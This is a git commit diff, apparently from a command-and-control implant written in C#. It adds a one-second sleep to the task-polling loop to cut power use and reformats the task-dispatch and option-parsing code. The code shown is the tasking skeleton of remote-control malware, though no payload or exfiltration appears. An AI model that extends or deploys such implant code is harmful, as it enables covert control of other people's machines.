fixed Very high power usage bug

This commit is contained in:
Gr1mmie 2022-03-24 18:21:04 -04:00
parent 7fad639418
commit 1db8e7a324
2 changed files with 14 additions and 29 deletions

View File

@ -42,25 +42,18 @@ namespace Implant
public static void HandleTask(ImplantTask task) {
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
if (command is null) { return; }
try
{
try {
var _out = command.Execute(task);
SendTaskOut(task, task.Id, _out);
} catch (Exception e) {
SendTaskOut(task, task.Id, e.Message);
}
} catch (Exception e) { SendTaskOut(task, task.Id, e.Message); }
}
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
foreach (var task in tasks) { HandleTask(task); }
}
public static void HandleTasks(IEnumerable<ImplantTask> tasks) { foreach (var task in tasks) { HandleTask(task); } }
public static void ImplantCommandsInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantCommands)))
{
public static void ImplantCommandsInit() {
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
if (type.IsSubclassOf(typeof(ImplantCommands))) {
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
_commands.Add(cmd);
}
@ -83,6 +76,7 @@ namespace Implant
_cancelToken = new CancellationTokenSource();
while (!_cancelToken.IsCancellationRequested) {
Thread.Sleep(1000);
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
}
}

View File

@ -10,23 +10,17 @@ using static Implant.Models.ImplantTaskData;
namespace Implant.Utils
{
public class ImplantOptionUtils
{
public static void OptsInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantOptions)))
{
public class ImplantOptionUtils {
public static void OptsInit() {
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
if (type.IsSubclassOf(typeof(ImplantOptions))) {
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
_opts.Add(function);
}
}
}
public static List<Object> ReturnMethod(ImplantTask task)
{
public static List<Object> ReturnMethod(ImplantTask task) {
if (_opts.Count == 0) { OptsInit(); }
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
@ -34,10 +28,7 @@ namespace Implant.Utils
return opt.Data;
}
public static ArgsRecv ParseArgs(string jsonData){
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject<ArgsRecv>(jsonData); }
}
}